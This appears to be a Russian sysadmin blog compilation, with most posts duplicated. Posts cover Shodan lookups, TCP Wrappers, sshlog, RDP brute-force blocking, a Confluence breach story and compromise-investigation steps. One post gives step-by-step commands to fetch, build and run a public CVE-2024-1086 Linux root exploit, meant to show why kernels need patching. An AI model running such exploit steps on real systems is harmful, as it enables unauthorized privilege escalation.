Shodan знают все или почти все. Когда-то писал про него. У этого сервиса есть очень простая и маленькая утилита, которая проверяет ваши списки ip адресов по своей базе открытых портов и уязвимостей. Называется nrich. Удобно запихнуть все свои внешние IP адреса и периодически проверять то, как их видит Shodan. Его используют многие сканеры и боты, для автоматического поиска доступных из интернета сервисов.
Поставить можно как из пакета, так и просто скачать бинарник напрямую. Всё есть в репозитории.
Формируем текстовый файл с ip адресами, где в каждой строке по ip адресу:
и т.д.
Запускаем проверку:
Результат виден в консоли. Можно сразу в json обернуть:
Данные nrich берёт из публичного бесплатного сервиса internetdb.shodan.io.
#security
Поставить можно как из пакета, так и просто скачать бинарник напрямую. Всё есть в репозитории.
# wget https://gitlab.com/api/v4/projects/33695681/packages/generic/nrich/latest/nrich_latest_x86_64.deb# dpkg -i nrich_latest_x86_64.debФормируем текстовый файл с ip адресами, где в каждой строке по ip адресу:
1.1.1.18.8.8.8и т.д.
Запускаем проверку:
# nrich ip.listРезультат виден в консоли. Можно сразу в json обернуть:
# nrich ip.list --output jsonДанные nrich берёт из публичного бесплатного сервиса internetdb.shodan.io.
#security
В ОС на базе Linux есть очень простой в настройке инструмент по ограничению сетевого доступа к сервисам. Он сейчас почти не применяется, так как не такой гибкий, как файрволы, но тем не менее работает до сих пор. Речь пойдёт про TCP Wrappers, которые используют библиотеку libwrap для ограничения доступа. По своей сути это файрвол уровня приложений, которые его поддерживают. Расскажу, как это работает.
В большинстве Linux дистрибутивов есть файлы
И одновременно в
Всё, теперь подключиться можно будет только из указанных сетей. При подключении из другого места в логе SSHD будут такие строки:
Не нужна ни перезагрузка, ни запуск каких-либо программ. Просто добавляете записи в указанные файлы и они сразу же применяются. Можно логировать заблокированные попытки:
В файле
Для того, чтобы эта функциональность работала, программа должна поддерживать указанную библиотеку. Проверить можно так:
В Debian 12 sshd поддерживает, но так не во всех дистрибутивах. Надо проверять. Из более-менее популярного софта libwrap поддерживается в vsftpd, nfs-server, apcupsd, syslog-ng, nut, dovecot, stunnel, nagios, Nutanix Controller VM.
Очевидно, что тот же iptables или nftables более функциональный инструмент и полагаться лучше на него. Но в каких-то простых случаях, особенно, если нужно ограничить только ssh, можно использовать и libwrap. Также можно продублировать в нём правила, чтобы в случае ошибки в файрволе, доступ к некоторым сервисам точно не был открыт. Ну и просто полезно знать, что есть такой инструмент. Мало ли, придётся столкнуться.
#linux #security
В большинстве Linux дистрибутивов есть файлы
/etc/hosts.allow и /etc/hosts.deny. Сразу покажу пример, как всем ограничить доступ к SSH и разрешить только с указанных локальных подсетей. Добавляем в /etc/hosts.allow:sshd : 10.20.1.0/24sshd : 192.168.13.0/24И одновременно в
/etc/hosts.deny:sshd : ALLВсё, теперь подключиться можно будет только из указанных сетей. При подключении из другого места в логе SSHD будут такие строки:
# journalctl -u ssh -n 10sshd[738]: refused connect from 10.8.2.2 (10.8.2.2)Не нужна ни перезагрузка, ни запуск каких-либо программ. Просто добавляете записи в указанные файлы и они сразу же применяются. Можно логировать заблокированные попытки:
sshd : ALL \ : spawn /usr/bin/echo "$(/bin/date +"%%d-%%m-%%y %%T") SSH access blocked from %h" >> /var/log/libwrapВ файле
/var/log/libwrap будет аккуратная запись:03-06-24 12:29:31 SSH access blocked from 10.8.2.2Для того, чтобы эта функциональность работала, программа должна поддерживать указанную библиотеку. Проверить можно так:
# ldd /usr/sbin/sshd | grep libwrap libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f55228a2000)В Debian 12 sshd поддерживает, но так не во всех дистрибутивах. Надо проверять. Из более-менее популярного софта libwrap поддерживается в vsftpd, nfs-server, apcupsd, syslog-ng, nut, dovecot, stunnel, nagios, Nutanix Controller VM.
Очевидно, что тот же iptables или nftables более функциональный инструмент и полагаться лучше на него. Но в каких-то простых случаях, особенно, если нужно ограничить только ssh, можно использовать и libwrap. Также можно продублировать в нём правила, чтобы в случае ошибки в файрволе, доступ к некоторым сервисам точно не был открыт. Ну и просто полезно знать, что есть такой инструмент. Мало ли, придётся столкнуться.
#linux #security
Недавно рассказывал про Shodan и упомянул его бесплатный сервис internetdb.shodan.io, который по запросу выдаёт некоторую информацию из своей базы по IP адресу.
Работает примерно так:
Вся информация, что у них есть, выдаётся в виде json. В целом, ничего интересного. Я об этом знал и писать не собирался. Но моё внимание привлёк один комментарий со ссылкой на excel таблицу, где можно в одном листе задать список IP адресов, сделать запрос в этот сервис и на другой получить в таблице вывод в удобном виде.
Вот эта штука меня заинтересовала. Стало любопытно, как это реализовано в Excel. Тут я завис надолго, так как не знаком с подобными возможностями. Разбирался методом тыка сам, но в итоге освоил инструмент. Он на удивление удобен и функционален, поэтому и решил о нём написать. Можно забирать какой-нибудь json, парсить его и выводить в удобочитаемом виде в таблицах. Это много где может пригодиться.
Работает это с помощью встроенного инструмента Excel Power Query. Конкретно с shodan работа выглядит так:
1️⃣ На первом листе формируем список IP адресов для анализа.
2️⃣ Добавляем источник данных из интернета в виде ссылки https://internetdb.shodan.io/, где в конце в качестве аргументов передаём список IP адресов.
3️⃣ Получаем ответы от запросов, преобразуем их в читаемый вид в таблицах.
Привожу свой вариант таблицы: https://disk.yandex.ru/d/S2FNRDEcZpHBJQ Работать будет только в Excel. Можете использовать у себя, поменяв список IP адресов. Нужно его заполнить, перейти на вкладку Данные и нажать на Обновить все. Чтобы посмотреть, как там всё устроено, надо Запустить Редактор Power Query. Это отдельный раздел меню там же на вкладке Данные.
В редакторе добавлен один параметр в виде IP адреса 1.1.1.1, для него сформирован набор действий в виде запроса в shodan и обработки ответа. Далее эти действие превращены в функцию. И потом эта функция применяется на список IP адресов в листе. Результат выводится на второй лист.
Не знаю, зачем я всё это изучил 😁. Но мне кажется, может пригодится. Как минимум, эту табличку удобно использовать для себя. Добавить все IP адреса с комментариями и периодически глазами просматривать, что там есть интересного.
#security
Работает примерно так:
# curl https://internetdb.shodan.io/112.169.51.142{"cpes":["cpe:/a:openbsd:openssh","cpe:/a:jquery:jquery:1.11.1","cpe:/a:vmware:rabbitmq:3.5.7"],"hostnames":[],"ip":"112.169.51.142","ports":[22,123,4369,5672,8080],"tags":["eol-product"],"vulns":["CVE-2019-11358","CVE-2021-32718","CVE-2020-11023","CVE-2021-22116","CVE-2015-9251","CVE-2023-46118","CVE-2022-31008","CVE-2020-11022","CVE-2021-32719"]}Вся информация, что у них есть, выдаётся в виде json. В целом, ничего интересного. Я об этом знал и писать не собирался. Но моё внимание привлёк один комментарий со ссылкой на excel таблицу, где можно в одном листе задать список IP адресов, сделать запрос в этот сервис и на другой получить в таблице вывод в удобном виде.
Вот эта штука меня заинтересовала. Стало любопытно, как это реализовано в Excel. Тут я завис надолго, так как не знаком с подобными возможностями. Разбирался методом тыка сам, но в итоге освоил инструмент. Он на удивление удобен и функционален, поэтому и решил о нём написать. Можно забирать какой-нибудь json, парсить его и выводить в удобочитаемом виде в таблицах. Это много где может пригодиться.
Работает это с помощью встроенного инструмента Excel Power Query. Конкретно с shodan работа выглядит так:
1️⃣ На первом листе формируем список IP адресов для анализа.
2️⃣ Добавляем источник данных из интернета в виде ссылки https://internetdb.shodan.io/, где в конце в качестве аргументов передаём список IP адресов.
3️⃣ Получаем ответы от запросов, преобразуем их в читаемый вид в таблицах.
Привожу свой вариант таблицы: https://disk.yandex.ru/d/S2FNRDEcZpHBJQ Работать будет только в Excel. Можете использовать у себя, поменяв список IP адресов. Нужно его заполнить, перейти на вкладку Данные и нажать на Обновить все. Чтобы посмотреть, как там всё устроено, надо Запустить Редактор Power Query. Это отдельный раздел меню там же на вкладке Данные.
В редакторе добавлен один параметр в виде IP адреса 1.1.1.1, для него сформирован набор действий в виде запроса в shodan и обработки ответа. Далее эти действие превращены в функцию. И потом эта функция применяется на список IP адресов в листе. Результат выводится на второй лист.
Не знаю, зачем я всё это изучил 😁. Но мне кажется, может пригодится. Как минимум, эту табличку удобно использовать для себя. Добавить все IP адреса с комментариями и периодически глазами просматривать, что там есть интересного.
#security
Некоторое время назад была обнаружена любопытная уязвимость в ядре Linux, которая позволяет пользователю получить права root. Обратил на неё внимание и решил написать, потому что к ней существует очень простой эксплойт, который каждый может попробовать и оценить его эффективность. Это наглядно показывает, почему ОС лучше регулярно обновлять с перезагрузкой системы, чтобы загрузилось обновлённое ядро без уязвимости.
Речь идёт про CVE-2024-1086. Недавно по этой уязвимости было обновление, и прокатилась волна новостей по теме, поэтому я и обратил на неё внимание, хотя сама уязвимость ещё в январе была обнаружена. Уязвимости подвержены все необновлённые ядра Linux версий с 5.14 по 6.6.14. Я для теста взял виртуалку с уязвимым ядром и получил права root.
Есть репозиторий с готовый эксплойтом:
⇨ https://github.com/Notselwyn/CVE-2024-1086
Заходим в систему под юзером, смотрим ядро:
Ядро уязвимо. Клонируем репозиторий и собираем бинарник:
Для успешной сборки нужны некоторые пакеты:
Если по какой-то причине не получится собрать, можете взять готовый бинарник:
Запускаем эксплойт:
Проверяем своего пользователя:
Система при работе эксплоита может зависнуть, так что срабатывает через раз. В репозитории несколько обращений по этой теме. Тем не менее, с большой долей вероятности эксплоит срабатывает. Я проверял несколько раз.
И таких уязвимостей в ядре находят немало. Иногда смотрю какие-то разборы взломов. Там взломщики тем или иным образом попадают в систему, чаще всего через веб приложения или сайты. Смотрят версию ядра, проверяют уязвимости и готовые эксплоиты по публичным базам данных. Если под ядро есть эксплоит, то практически без проблем получают полные права.
❗️На всякий случай предупрежу, а то мало ли. Не проверяйте этот эксплойт на рабочих системах. Я чисто для демонстрации работы уязвимостей в ядре всё это показал, потому что подобное и раньше видел. Это типовая история. Проверять свои системы так не надо.
#security
Речь идёт про CVE-2024-1086. Недавно по этой уязвимости было обновление, и прокатилась волна новостей по теме, поэтому я и обратил на неё внимание, хотя сама уязвимость ещё в январе была обнаружена. Уязвимости подвержены все необновлённые ядра Linux версий с 5.14 по 6.6.14. Я для теста взял виртуалку с уязвимым ядром и получил права root.
Есть репозиторий с готовый эксплойтом:
⇨ https://github.com/Notselwyn/CVE-2024-1086
Заходим в систему под юзером, смотрим ядро:
# uname -aLinux ubuntu22-vm 6.2.0-1014-azure #14~22.04.1-Ubuntu SMP Wed Sep 13 16:15:26 UTC 2023 x86_64 x86_64 x86_64 GNU/LinuxЯдро уязвимо. Клонируем репозиторий и собираем бинарник:
# git clone https://github.com/Notselwyn/CVE-2024-1086# cd CVE-2024-1086# makeДля успешной сборки нужны некоторые пакеты:
# apt install make gcc musl-toolsЕсли по какой-то причине не получится собрать, можете взять готовый бинарник:
# wget https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit# chmod +x exploitЗапускаем эксплойт:
# ./exploitПроверяем своего пользователя:
# iduid=0(root) gid=0(root) groups=0(root)Система при работе эксплоита может зависнуть, так что срабатывает через раз. В репозитории несколько обращений по этой теме. Тем не менее, с большой долей вероятности эксплоит срабатывает. Я проверял несколько раз.
И таких уязвимостей в ядре находят немало. Иногда смотрю какие-то разборы взломов. Там взломщики тем или иным образом попадают в систему, чаще всего через веб приложения или сайты. Смотрят версию ядра, проверяют уязвимости и готовые эксплоиты по публичным базам данных. Если под ядро есть эксплоит, то практически без проблем получают полные права.
❗️На всякий случай предупрежу, а то мало ли. Не проверяйте этот эксплойт на рабочих системах. Я чисто для демонстрации работы уязвимостей в ядре всё это показал, потому что подобное и раньше видел. Это типовая история. Проверять свои системы так не надо.
#security
Послушал недавно очень любопытное выступление про взлом Confluence у не самой маленькой компании. Иногда думаешь, что сам работаешь не идеально и где-то косячишь. Но когда смотришь такие выступления, понимаешь, что у тебя ещё всё нормально.
▶️ Как нам стерли всю базу в Confluence и как мы героически ее восстанавливали
Там классическая история произошла. У ребят была on-premise установка лицензионной Confluence. В какой-то момент обновить лицензию стало невозможно, но так как купленная была бессрочная, то решили дальше ей пользоваться, но без обновлений. А смотрела эта система веб интерфейсом в интернет на дедике в Hetzner. На Confluence и Jira была плотно завязана ежедневная деятельность компании.
Ну и в какой-то момент появилась RCE (Remote Code Execution) уязвимость. Через неё им грохнули всю базу данных. А там было много всего. Стали искать бэкапы. Оказалось, что на своей СХД давно уже закончилось место и бэкапы не делались, а на AWS S3 архивы не копировались, потому что протух токен. И случились обе неприятности более года назад ❗️
В итоге случайно нашли дамп базы данных на самом сервере, от времени, когда делали миграцию 8 месяцев назад с одной СУБД на другую. Этот бэкап развернули, а более свежие данные восстанавливали из писем в ящиках пользователей. Привлекли для этого дела Java программиста из штата. Многие пользователи были подписаны на свои темы и получали уведомления на почту, когда на страницах происходили изменения. Из этого можно было вытянуть какой-то недостающий контент.
Восстановили, конечно не всё. Но каким-то образом всё же пережили инцидент и после этого настроили Prometheus для мониторинга с уведомлениями в Telegram. Главное, чтобы туда токен не протух, а то можно также год без мониторинга жить. Сказали, что планируют ещё и бэкапы проверять, а не только за местом следить. Также спрятали веб интерфейс Confluence за VPN.
По факту на практике до сих пор бывает так, что в немаленькой компании, где есть отдельно отдел разработки, может не быть мониторинга, контроля и проверки бэкапов. С самой Confluenсe работало в районе 80-ти человек. То есть масштаб компании не сказать, что маленький.
По факту их бы спас простейший мониторинг свободного места на СХД, но его не было. Эта мысль не озвучивалась в выступлении, но мне показалось, что эта компания из тех, кто считает, что сисадмины особо не нужны. Если был бы один хотя бы на полставки, то был бы и мониторинг, и VPN.
Выступление получилось живое и интересное. Выступающие молодцы, что не побоялись рассказать, про такой масштабный свой косяк.
#security
▶️ Как нам стерли всю базу в Confluence и как мы героически ее восстанавливали
Там классическая история произошла. У ребят была on-premise установка лицензионной Confluence. В какой-то момент обновить лицензию стало невозможно, но так как купленная была бессрочная, то решили дальше ей пользоваться, но без обновлений. А смотрела эта система веб интерфейсом в интернет на дедике в Hetzner. На Confluence и Jira была плотно завязана ежедневная деятельность компании.
Ну и в какой-то момент появилась RCE (Remote Code Execution) уязвимость. Через неё им грохнули всю базу данных. А там было много всего. Стали искать бэкапы. Оказалось, что на своей СХД давно уже закончилось место и бэкапы не делались, а на AWS S3 архивы не копировались, потому что протух токен. И случились обе неприятности более года назад ❗️
В итоге случайно нашли дамп базы данных на самом сервере, от времени, когда делали миграцию 8 месяцев назад с одной СУБД на другую. Этот бэкап развернули, а более свежие данные восстанавливали из писем в ящиках пользователей. Привлекли для этого дела Java программиста из штата. Многие пользователи были подписаны на свои темы и получали уведомления на почту, когда на страницах происходили изменения. Из этого можно было вытянуть какой-то недостающий контент.
Восстановили, конечно не всё. Но каким-то образом всё же пережили инцидент и после этого настроили Prometheus для мониторинга с уведомлениями в Telegram. Главное, чтобы туда токен не протух, а то можно также год без мониторинга жить. Сказали, что планируют ещё и бэкапы проверять, а не только за местом следить. Также спрятали веб интерфейс Confluence за VPN.
По факту на практике до сих пор бывает так, что в немаленькой компании, где есть отдельно отдел разработки, может не быть мониторинга, контроля и проверки бэкапов. С самой Confluenсe работало в районе 80-ти человек. То есть масштаб компании не сказать, что маленький.
По факту их бы спас простейший мониторинг свободного места на СХД, но его не было. Эта мысль не озвучивалась в выступлении, но мне показалось, что эта компания из тех, кто считает, что сисадмины особо не нужны. Если был бы один хотя бы на полставки, то был бы и мониторинг, и VPN.
Выступление получилось живое и интересное. Выступающие молодцы, что не побоялись рассказать, про такой масштабный свой косяк.
#security
Я много раз упоминал в заметках, что надо стараться максимально скрывать сервисы от доступа из интернета. И проверять это, потому что часто они туда попадают случайно из-за того, что что-то забыли или неверно настроили. Решил через shodan глянуть открытые Node Exporter от Prometheus. Они часто болтаются в открытом виде, потому что по умолчанию никаких ограничений доступа в них нет. Заходи, кто хочешь, и смотри, что там есть.
И первым же IP адресом с открытым Node Exporter, на который я зашёл, оказалась чья-то нода Kubernetes. Причём для меня она сразу стала не чей-то, а я конкретно нашёл, кому она принадлежит. Мало того, что сам Node Exporter вываливает просто кучу информации в открытый доступ. Например, по volumes от контейнеров стало понятно, какие сервисы там крутятся. Видны названия lvm томов, точки монтирования, информация о разделах и дисках, биос, материнка, версия ОС, система виртуализации и т.д.
На этом же IP висел Kubernetes API. Доступа к нему не было, он отдавал 401 Unauthorized. Но по сертификату, который доступен, в Alternative Name можно найти кучу доменов и сервисов, которые засветились на этом кластере. Я не знаю, по какому принципу они туда попадают, но я их увидел. Там я нашёл сервисы n8n, vaultwarden, freshrss. Не знаю, должны ли в данном случае их веб интерфейсы быть в открытом доступе или нет, но я в окна аутентификации от этих сервисов попал.
Там же нашёл информацию о блоге судя по всему владельца этого хозяйства. Плодовитый специалист из Бахрейна. Много open source проектов, которые он развивает и поддерживает. Там же резюме его как DevOps, разработчика, SysOps. Нашёл на поддоменах и прошлую версию блога, черновики и кучу каких-то других сервисов. Не стал уже дальше ковыряться.
Ссылки и IP адреса приводить не буду, чтобы не навредить этому человеку. Скорее всего это какие-то его личные проекты, но не факт. В любом случае, вываливать в открытый доступ всю свою подноготную смысла нет. Закрыть файрволом и нет проблем. Конечно, всё это так или иначе можно собрать. История выпущенных сертификатов и dns записей хранится в открытом доступе. Но тем не менее, тут всё вообще в куче лежит прямо на активном сервере.
Для тех, кто не в курсе, поясню, что всю историю выпущенных сертификатов конкретного домена со всеми поддоменами можно посмотреть тут:
⇨ https://crt.sh
Можете себя проверить.
#devops #security
И первым же IP адресом с открытым Node Exporter, на который я зашёл, оказалась чья-то нода Kubernetes. Причём для меня она сразу стала не чей-то, а я конкретно нашёл, кому она принадлежит. Мало того, что сам Node Exporter вываливает просто кучу информации в открытый доступ. Например, по volumes от контейнеров стало понятно, какие сервисы там крутятся. Видны названия lvm томов, точки монтирования, информация о разделах и дисках, биос, материнка, версия ОС, система виртуализации и т.д.
На этом же IP висел Kubernetes API. Доступа к нему не было, он отдавал 401 Unauthorized. Но по сертификату, который доступен, в Alternative Name можно найти кучу доменов и сервисов, которые засветились на этом кластере. Я не знаю, по какому принципу они туда попадают, но я их увидел. Там я нашёл сервисы n8n, vaultwarden, freshrss. Не знаю, должны ли в данном случае их веб интерфейсы быть в открытом доступе или нет, но я в окна аутентификации от этих сервисов попал.
Там же нашёл информацию о блоге судя по всему владельца этого хозяйства. Плодовитый специалист из Бахрейна. Много open source проектов, которые он развивает и поддерживает. Там же резюме его как DevOps, разработчика, SysOps. Нашёл на поддоменах и прошлую версию блога, черновики и кучу каких-то других сервисов. Не стал уже дальше ковыряться.
Ссылки и IP адреса приводить не буду, чтобы не навредить этому человеку. Скорее всего это какие-то его личные проекты, но не факт. В любом случае, вываливать в открытый доступ всю свою подноготную смысла нет. Закрыть файрволом и нет проблем. Конечно, всё это так или иначе можно собрать. История выпущенных сертификатов и dns записей хранится в открытом доступе. Но тем не менее, тут всё вообще в куче лежит прямо на активном сервере.
Для тех, кто не в курсе, поясню, что всю историю выпущенных сертификатов конкретного домена со всеми поддоменами можно посмотреть тут:
⇨ https://crt.sh
Можете себя проверить.
#devops #security
Периодически пишу про небольшие простые программы, которыми давно пользуюсь. Некоторые из них уже не развиваются, но не потеряли удобство и актуальность. Одной из таких программ является RDP Defender.
Я уже писал о ней года 3 назад. С тех пор продолжаю иногда пользоваться. На Windows Server 2019 нормально работает, выше не пробовал. Это небольшая программа, которая выполняет одну единственную функцию - анализирует журнал аудита Windows, если есть попытки перебора паролей, блокирует IP адрес переборщика с помощью встроенного файрвола Windows.
Программа маленькая, установщик меньше мегабайта весит. Уже давно нет сайта, на котором она лежала. Посмотреть на него можно через web.archive.org. Вот прямая ссылка на один из снимков сайта, где она выкладывалась. Оттуда же можно скачать и установщик, но там не самая последняя версия. В какой-то момент сайт ещё раз поменялся, и там уже была самая актуальная версия 2.4, которой я пользуюсь.
Решений этой задачи есть очень много, в том числе и встроенными средствами самой системы. Я в конце приведу ссылки. Напишу, почему по прежнему предпочитаю в простых случаях RDP Defender:
◽Простой и наглядный интерфейс
◽Сразу видно, запущены ли службы файрвола и аудита
◽Быстрый доступ к белым спискам
◽Информативный лог блокировок
С этой программой удобнее работать, чем с оснастками и скриптами Windows.
Отдельно скажу про RDP порт, смотрящий напрямую в интернет. Да, по возможности его не нужно выставлять. Но есть люди, которые готовы это делать, несмотря на связанные с этим риски. Какой-то особой опасности в этом нет. Если вы сейчас установите Windows Server со всеми обновлениями, откроете RDP порт на доступ из интернета и защитите его тем или иным способом от перебора паролей, то ничего с вами не случится. До тех пор, пока не будет найдена какая-то существенная уязвимость в протоколе, которая позволит обходить аутентификацию. Даже не совсем в протоколе RDP, до которого ещё надо добраться. Подключение по RDP в Windows на самом деле неплохо защищено.
На моей памяти последняя такая уязвимость была обнаружена лет 5-6 назад. Один из серверов под моим управлением был зашифрован. Так что нужно понимать этот риск. Может ещё лет 10 таких дыр не будет найдено, а может они уже есть, не афишируется, но используется втихую.
RDP Defender актуален не только для интернета, но и локальной сети. В бан запросто попадают завирусованные компы из локалки, или какие-то другие устройства. Например, сталкивался с тем, что какой-то софт от 1С неправильно аутентифицировался на сервере для доступа к сетевому диску и регулярно получал от него бан. Разбирались в итоге с программистами, почему так происходит. Оказалось, что там идёт перебор каких-то разных способов аутентификации и до рабочего дело не доходит, так как бан настигает раньше. Так что программу имеет смысл использовать и в локалке.
Аналоги RDP Defender:
▪️ IPBan
▪️ EvlWatcher
▪️ Cyberarms IDDS
▪️ Crowdsec
▪️ PowerShell скрипт
Положил программу на свой Яндекс.Диск:
⇨ https://disk.yandex.ru/d/gN6G9DZ01Fgr6Q
Посмотреть его разбор с точки зрения безопасности можно тут:
- virustotal
- joesandbox (доступ через vpn)
#windows #security
Я уже писал о ней года 3 назад. С тех пор продолжаю иногда пользоваться. На Windows Server 2019 нормально работает, выше не пробовал. Это небольшая программа, которая выполняет одну единственную функцию - анализирует журнал аудита Windows, если есть попытки перебора паролей, блокирует IP адрес переборщика с помощью встроенного файрвола Windows.
Программа маленькая, установщик меньше мегабайта весит. Уже давно нет сайта, на котором она лежала. Посмотреть на него можно через web.archive.org. Вот прямая ссылка на один из снимков сайта, где она выкладывалась. Оттуда же можно скачать и установщик, но там не самая последняя версия. В какой-то момент сайт ещё раз поменялся, и там уже была самая актуальная версия 2.4, которой я пользуюсь.
Решений этой задачи есть очень много, в том числе и встроенными средствами самой системы. Я в конце приведу ссылки. Напишу, почему по прежнему предпочитаю в простых случаях RDP Defender:
◽Простой и наглядный интерфейс
◽Сразу видно, запущены ли службы файрвола и аудита
◽Быстрый доступ к белым спискам
◽Информативный лог блокировок
С этой программой удобнее работать, чем с оснастками и скриптами Windows.
Отдельно скажу про RDP порт, смотрящий напрямую в интернет. Да, по возможности его не нужно выставлять. Но есть люди, которые готовы это делать, несмотря на связанные с этим риски. Какой-то особой опасности в этом нет. Если вы сейчас установите Windows Server со всеми обновлениями, откроете RDP порт на доступ из интернета и защитите его тем или иным способом от перебора паролей, то ничего с вами не случится. До тех пор, пока не будет найдена какая-то существенная уязвимость в протоколе, которая позволит обходить аутентификацию. Даже не совсем в протоколе RDP, до которого ещё надо добраться. Подключение по RDP в Windows на самом деле неплохо защищено.
На моей памяти последняя такая уязвимость была обнаружена лет 5-6 назад. Один из серверов под моим управлением был зашифрован. Так что нужно понимать этот риск. Может ещё лет 10 таких дыр не будет найдено, а может они уже есть, не афишируется, но используется втихую.
RDP Defender актуален не только для интернета, но и локальной сети. В бан запросто попадают завирусованные компы из локалки, или какие-то другие устройства. Например, сталкивался с тем, что какой-то софт от 1С неправильно аутентифицировался на сервере для доступа к сетевому диску и регулярно получал от него бан. Разбирались в итоге с программистами, почему так происходит. Оказалось, что там идёт перебор каких-то разных способов аутентификации и до рабочего дело не доходит, так как бан настигает раньше. Так что программу имеет смысл использовать и в локалке.
Аналоги RDP Defender:
▪️ IPBan
▪️ EvlWatcher
▪️ Cyberarms IDDS
▪️ Crowdsec
▪️ PowerShell скрипт
Положил программу на свой Яндекс.Диск:
⇨ https://disk.yandex.ru/d/gN6G9DZ01Fgr6Q
Посмотреть его разбор с точки зрения безопасности можно тут:
- virustotal
- joesandbox (доступ через vpn)
#windows #security
Нашёл очень функциональный инструмент для логирования действий пользователей в подключениях по SSH к серверам. Речь пойдёт про open sourse проект sshlog. Выглядит он так, как-будто хотели сделать на его основе коммерческий продукт, но в какой-то момент передумали и забросили. Сделан он добротно и целостно. Расскажу по порядку.
📌 С помощью sshlog можно:
▪️ Логировать все подключения и отключения по SSH.
▪️ Записывать всю активность пользователя в консоли, в том числе вывод.
▪️ Отправлять уведомления по различным каналам связи на события, связанные с SSH: подключение, отключение, запуск команды и т.д.
▪️ Отправлять все записанные события и сессии на Syslog сервер.
▪️ Собирать метрики по количествам подключений, отключений, выполненных команд и т.д.
▪️ Наблюдать за чьей-то сессией и подключаться к ней для просмотра или взаимодействия.
▪️ Расширять функциональность с помощью плагинов.
Сразу скажу важное замечание. Записывать события пользователя root нельзя. Только обычных пользователей, даже если они сделают
Установить sshlog можно из репозитория разработчиков:
Репозиторий для Ubuntu, но для Debian тоже подходит. После установки автоматически создаётся служба systemd. В директории
-
-
В директории
Функциональность sshlog расширяется плагинами. Они все находятся в отдельном разделе с описанием и принципом работы. Все оповещения реализованы в виде плагинов. Есть готовые для email, slack, syslog, webhook. Оповещения отправляются при срабатывании actions. Так же по этим событиям могут выполняться и другие действия, например, запуск какой-то команды.
В общем, продукт функциональный и целостный. Покрывает большой пласт задач по контролю за сессиями пользователей. Удобно всё это разом слать куда-то по syslog в централизованное хранилище. По простоте и удобству, если мне не изменяет память, это лучшее, что я видел. Есть, конечно, Tlog от RedHat, но он более просто выглядит по возможностям и сложнее в настройке по сравнению с sshlog.
В репозитории есть несколько обращений на тему большого потребления CPU при работе. Я лично не сталкивался с этим во время тестов, но имейте ввиду, что такое возможно. Судя по всему есть какой-то неисправленный баг.
⇨ Сайт / Исходники
#ssh #logs #security
📌 С помощью sshlog можно:
▪️ Логировать все подключения и отключения по SSH.
▪️ Записывать всю активность пользователя в консоли, в том числе вывод.
▪️ Отправлять уведомления по различным каналам связи на события, связанные с SSH: подключение, отключение, запуск команды и т.д.
▪️ Отправлять все записанные события и сессии на Syslog сервер.
▪️ Собирать метрики по количествам подключений, отключений, выполненных команд и т.д.
▪️ Наблюдать за чьей-то сессией и подключаться к ней для просмотра или взаимодействия.
▪️ Расширять функциональность с помощью плагинов.
Сразу скажу важное замечание. Записывать события пользователя root нельзя. Только обычных пользователей, даже если они сделают
sudo su. В описании нигде этого не сказано, но я сам на практике убедился. Плюс, увидел такие же комментарии в вопросах репозитория. Установить sshlog можно из репозитория разработчиков:
# curl https://repo.sshlog.com/sshlog-ubuntu/public.gpg | gpg --yes --dearmor -o /usr/share/keyrings/repo-sshlog-ubuntu.gpg# echo "deb [arch=any signed-by=/usr/share/keyrings/repo-sshlog-ubuntu.gpg] https://repo.sshlog.com/sshlog-ubuntu/ stable main" > /etc/apt/sources.list.d/repo-sshlog-ubuntu.list# apt update && apt install sshlogРепозиторий для Ubuntu, но для Debian тоже подходит. После установки автоматически создаётся служба systemd. В директории
/etc/sshlog/conf.d будут 2 файла конфигурации:-
log_all_sessions.yaml - запись ssh сессий в директорию /var/log/sshlog/sessions, каждая сессия в отдельном лог файле, сохраняется в том числе вывод в консоли, а не только введённые команды.-
log_events.yaml - запись событий: подключения, отключения, введённые команды, общий лог для всех.В директории
/etc/sshlog/samples будут примеры некоторых других настроек. Вся конфигурация в формате yaml, читается легко, интуитивно. Возможности программы большие. Можно логировать только какие-то конкретные события. Например, запуск sudo. Либо команды от отдельного пользователя. Это можно настроить либо в событиях, либо в исключениях. Подробно механизм описан отдельно: sshlog config.Функциональность sshlog расширяется плагинами. Они все находятся в отдельном разделе с описанием и принципом работы. Все оповещения реализованы в виде плагинов. Есть готовые для email, slack, syslog, webhook. Оповещения отправляются при срабатывании actions. Так же по этим событиям могут выполняться и другие действия, например, запуск какой-то команды.
В общем, продукт функциональный и целостный. Покрывает большой пласт задач по контролю за сессиями пользователей. Удобно всё это разом слать куда-то по syslog в централизованное хранилище. По простоте и удобству, если мне не изменяет память, это лучшее, что я видел. Есть, конечно, Tlog от RedHat, но он более просто выглядит по возможностям и сложнее в настройке по сравнению с sshlog.
В репозитории есть несколько обращений на тему большого потребления CPU при работе. Я лично не сталкивался с этим во время тестов, но имейте ввиду, что такое возможно. Судя по всему есть какой-то неисправленный баг.
⇨ Сайт / Исходники
#ssh #logs #security
Подготовил небольшой список действий на основе своего опыта и знаний, которые имеет смысл выполнить, если у вас есть подозрения на то, что ваш сервер был взломан тем или иным способом. То есть на нём исполняется вредоносный код. Чаще всего это нужно не для восстановления работоспособности, а для расследования, чтобы понять, что конкретно случилось. Если сервер был скомпрометирован, лучше его полностью переустановить, перенеся полезную нагрузку.
1️⃣ Если это веб сервер, то имеет смысл начать с анализа его лог файлов. Если знаете, что у вас была какая-то незакрытая уязвимость в коде, то искать следует её эксплуатацию, либо запуск веб-шеллов.
Обычно уязвимость находят в каком-то конкретном файле, так что смотрим обращения к нему. Если по описанию уязвимости вы видите, что зловред создаёт или загружает новый файл и потом к нему обращается, то ищите эти обращения.
2️⃣ Можно посмотреть список изменённых файлов за последнее время. Не факт, что поможет, так как изменить дату модификации файла не сложно, но тем не менее, это может помочь:
Тут мы выводим все изменённые файлы за последние 30 дней, кроме сегодняшнего и сортируем их по дате изменения от более свежей к старой. Если список большой, лучше сразу его в файл отправить и анализировать там. Это, кстати, полезная команда именно в таком виде и выводе. Рекомендую сохранить.
3️⃣ Смотрим журналы операционной системы, в том числе аутентификации по SSH. На них хорошо бы ставить мониторинг и отправлять эту информацию на сторонний лог сервер. Смотрим задачи cron, at и systemd timers. Куда конкретно смотреть, писал в отдельной заметке по запланированным задачам.
4️⃣ Не часто, но иногда можно что-то увидеть в истории shell команд или истории команд клиентов СУБД:
◽
◽
◽
◽
5️⃣ Имеет смысл проверить целостность исполняемых файлов согласно эталонным хеш-значениям из DEB и RPM пакетов.
